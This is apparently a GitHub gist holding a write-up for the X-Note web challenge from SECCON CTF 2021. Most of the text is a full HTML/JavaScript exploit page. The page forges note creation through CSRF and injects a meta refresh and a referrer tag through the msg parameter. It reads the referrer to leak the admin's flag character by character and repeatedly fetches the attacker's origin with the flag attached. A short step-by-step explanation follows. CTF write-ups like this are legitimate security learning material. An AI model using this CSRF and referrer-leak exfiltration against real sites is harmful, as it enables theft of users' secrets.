Skip to content

Instantly share code, notes, and snippets.

@parrot409
Last active December 14, 2021 14:11
Show Gist options
  • Save parrot409/bc09cefe891708930200c8b61d3f5c16 to your computer and use it in GitHub Desktop.
Save parrot409/bc09cefe891708930200c8b61d3f5c16 to your computer and use it in GitHub Desktop.
X-note writeup - SECCON CTF 2021
<html>
<head>
<title>rem rem rem</title>
</head>
<body>
<div id="atk">
</div>
<script>
// const TARGET = "http://localhost:8000"
const TARGET = "http://web:3000"
const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789{}"
const exfil = document.location.origin
var flag = "SECCON{"
var w;
function sub(){
let r = ""
r+= `<input id="inp" name="note[toString]" value="1337">`
for(let i=0;i<alphabet.length;i++){
r+= `<input id="inp" name="note[f${i}]" value="${flag+alphabet[i]}">`
}
atk.innerHTML = `<form id="fo" action="${TARGET}/createNote" method="POST">${r}</form>`
inp.value = r
if(w && w.close){w.close()}
blob = new Blob([atk.outerHTML+"<script>fo.submit()<\/script>"], {type : 'text/html'});
w = window.open(URL.createObjectURL(blob))
}
function chk(idx){
w.location=`${TARGET}/?search=${flag+alphabet[idx]}&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=${document.location}%23exfil${idx}" />`
}
if(!document.location.hash.startsWith("#exfil")){
sub()
setTimeout(()=>{
chk(0)
},1000)
} else {
let flagFound = null
let r = null
if(document.referrer.indexOf("filteredNotes") > -1){
flagFound = false
r = parseInt(document.location.hash.slice(6))+1
} else {
flagFound = true
r = alphabet[parseInt(document.location.hash.slice(6))]
}
opener.postMessage({flagFound,r,oh:1})
}
window.onmessage = e=>{
if(e.data.oh){
if(!e.data.flagFound){
chk(e.data.r)
} else {
flag += e.data.r
console.log(flag)
if(flag.indexOf("}") == -1 ){
sub()
setTimeout(()=>{
chk(0)
},1000)
}
}
}
}
setInterval(()=>{
fetch(document.location.origin+"?a="+encodeURIComponent(flag))
},2000)
</script>
</body>
</html>

X-Note - 3 solves

To leak whether the first character of flag is 'A' or not:

  1. first we create the following note for admin ( csrf is possible for 2 minutes ):
{"toString":"A","f1":"SECCON{A","f2":"SECCON{B","SECCON{C",...}
  1. Then we open a window to ${TARGETHOST}/?search=SECCON{A&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=http://ourhost/" />
  2. The window will be redirected to ourhost with an error message in referrer.
  3. if there is NOT any "filteredNotes" in referrer ( error did not happen in search box ), then the first character of flag is 'A'.

Using this logic, we can leak the flag!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment